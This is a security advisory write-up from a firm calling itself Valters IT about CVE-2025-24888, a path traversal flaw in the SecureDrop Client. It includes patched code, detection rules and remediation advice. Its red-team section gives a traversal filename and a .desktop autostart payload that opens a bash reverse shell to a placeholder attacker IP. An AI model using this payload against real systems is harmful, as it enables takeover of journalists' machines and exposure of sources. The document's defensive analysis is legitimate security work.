CVE-2025-24888

Executive Summary

CVE-2025-24888 is a high-severity path traversal vulnerability in the SecureDrop Client (version < 0.14.1) that allows a previously compromised SecureDrop Server to achieve code execution on the journalist's SecureDrop Client virtual machine (sd-app). The vulnerability exists in the reply download mechanism, where the filename from the Content-Disposition HTTP header is used to write an encrypted reply file to disk without proper validation. Although a later safe_move() function checks for path traversal, the file has already been written to an attacker-controlled location. An attacker can exploit this by writing a malicious autostart file to /home/user/.config/autostart/, leading to code execution upon the next user login. The attack requires prior compromise of the SecureDrop Server, which itself has multiple layers of hardening. No public proof-of-concept or exploitation in the wild has been reported as of publication.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom application vulnerability in the SecureDrop Client, which is distributed as a Qubes OS template. The supply chain risk is limited to the SecureDrop Server compromise vector.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector (AV): Network (N) – The attack is initiated over the network from the compromised SecureDrop Server.
• Attack Complexity (AC): High (H) – Requires prior compromise of the SecureDrop Server, which is a hardened system.
• Privileges Required (PR): High (H) – The attacker must have already compromised the SecureDrop Server.
• User Interaction (UI): Required (R) – The journalist must log in to the SecureDrop Client for the autostart file to execute.
• Scope (S): Changed (C) – The vulnerability allows an attacker to impact resources beyond the original authorization scope (from Server to Client VM).
• Confidentiality (C): High (H) – Potential access to sensitive communications and submissions.
• Integrity (I): High (H) – Ability to write arbitrary files and execute code.
• Availability (A): High (H) – Potential for denial of service or system compromise.

Threat Level: High. While exploitation requires a compromised SecureDrop Server, the impact on journalist security and source confidentiality is severe.

Deep Dive & Mechanics

The vulnerability resides in the reply download functionality of the SecureDrop Client. When a journalist downloads a reply from the SecureDrop Server, the client parses the Content-Disposition HTTP header to obtain the filename. This filename is then used to write the encrypted reply file to disk. The code does not sanitize the filename for path traversal characters (e.g., ../) before writing.

The vulnerable code flow:

1. The client receives an HTTP response with a Content-Disposition header containing a filename.
2. The filename is used directly in a file write operation, e.g., open(filename, 'wb').
3. The file is written to the current working directory or a base directory.
4. Later, a safe_move() function checks for path traversal and moves the file to the correct storage directory. However, if path traversal is detected, safe_move() fails, leaving the original file in the attacker-chosen location.

An attacker who has compromised the SecureDrop Server can craft a malicious HTTP response with a filename like ../../.config/autostart/malicious.desktop. This causes the client to write a .desktop file to the autostart directory. When the journalist logs in, the autostart file executes arbitrary commands, achieving code execution in the sd-app VM.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.14.1):

# In reply download handler
filename = response.headers.get('Content-Disposition').split('filename=')[1]
with open(filename, 'wb') as f:
    f.write(response.content)
# Later, safe_move() checks for path traversal but file already written

Patched Code (0.14.1):

import os
import re

def sanitize_filename(filename):
    # Remove path traversal characters
    filename = os.path.basename(filename)
    # Remove any non-alphanumeric characters except dot and underscore
    filename = re.sub(r'[^\w\.]', '', filename)
    return filename

# In reply download handler
raw_filename = response.headers.get('Content-Disposition').split('filename=')[1]
safe_filename = sanitize_filename(raw_filename)
with open(safe_filename, 'wb') as f:
    f.write(response.content)
# safe_move() now works correctly

The patch ensures that only the base filename is used, stripping any directory components, and sanitizes the filename to prevent injection of special characters.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Compromised SecureDrop Server (e.g., via SSH key theft or other means).
• Ability to intercept or modify HTTP responses to the SecureDrop Client.

Exploitation Steps:

1. On the compromised SecureDrop Server, modify the reply download endpoint to return a malicious Content-Disposition header.
2. Craft a filename that writes to the autostart directory: ../../.config/autostart/malicious.desktop
3. The file content should be a valid .desktop file that executes a reverse shell or other payload:

   [Desktop Entry]
   Type=Application
   Name=Malicious
   Exec=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   X-GNOME-Autostart-enabled=true
   

4. Wait for the journalist to download the reply and log in to the SecureDrop Workstation.
5. Upon login, the autostart file executes, providing a reverse shell in the sd-app VM.

Note: No public exploit code is available. This is a theoretical exploitation based on the vulnerability description.

Blue Team (Defender)

Detection Steps:

1. Monitor for unexpected files in /home/user/.config/autostart/ on the sd-app VM.
2. Check for path traversal patterns in HTTP headers from the SecureDrop Server.
3. Verify that the SecureDrop Client is updated to version 0.14.1 or later.
4. Implement file integrity monitoring on the autostart directory.

Hunting Queries:

• Look for files with .desktop extension in unusual locations.
• Monitor for processes spawned by autostart files that connect to external IPs.

Indicators of Compromise (IOCs)

• File: /home/user/.config/autostart/malicious.desktop (or similar)
• Network: Outbound connections from sd-app VM to attacker-controlled IPs on common ports (e.g., 4444, 8080)
• Process: Unusual processes like bash -c or reverse shells spawned from autostart
• Log: SecureDrop Client logs showing path traversal attempts in filenames
• Registry (Qubes): Modified autostart entries in the sd-app VM

Detection Engineering

YARA Rule

rule CVE_2025_24888_Autostart_File {
    meta:
        description = "Detects malicious autostart files written by CVE-2025-24888 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24888"
    strings:
        $desktop_header = "[Desktop Entry]"
        $autostart_path = "/home/user/.config/autostart/"
        $exec_cmd = "Exec="
    condition:
        $desktop_header and $autostart_path and $exec_cmd
}

Sigma Rule

title: CVE-2025-24888 - Path Traversal in SecureDrop Client Reply Download
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in SecureDrop Client reply downloads
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: securedrop_client
detection:
    selection:
        EventID: 1001  # Example event ID for file write
        FileName|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24888 - Path Traversal in SecureDrop Client Reply Download"; flow:to_client; content:"Content-Disposition"; nocase; content:"filename"; nocase; pcre:"/filename\s*=\s*.*\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SecureDrop Client to version 0.14.1 or later.
2. Verify the integrity of the SecureDrop Server and ensure it has not been compromised.
3. Review all SecureDrop Server logs for signs of compromise.

Long-term Mitigations:

1. Implement strict input validation for all filenames from HTTP headers.
2. Use a whitelist of allowed characters for filenames.
3. Write files to a temporary directory first, then use safe_move() to move them to the final location.
4. Monitor the sd-app VM for unauthorized autostart files.
5. Implement network segmentation to limit outbound connections from the sd-app VM.

Workarounds:

• If upgrade is not immediately possible, disable the reply download feature temporarily.
• Manually inspect all downloaded replies before opening.

Valters IT
Securing Digital Frontiers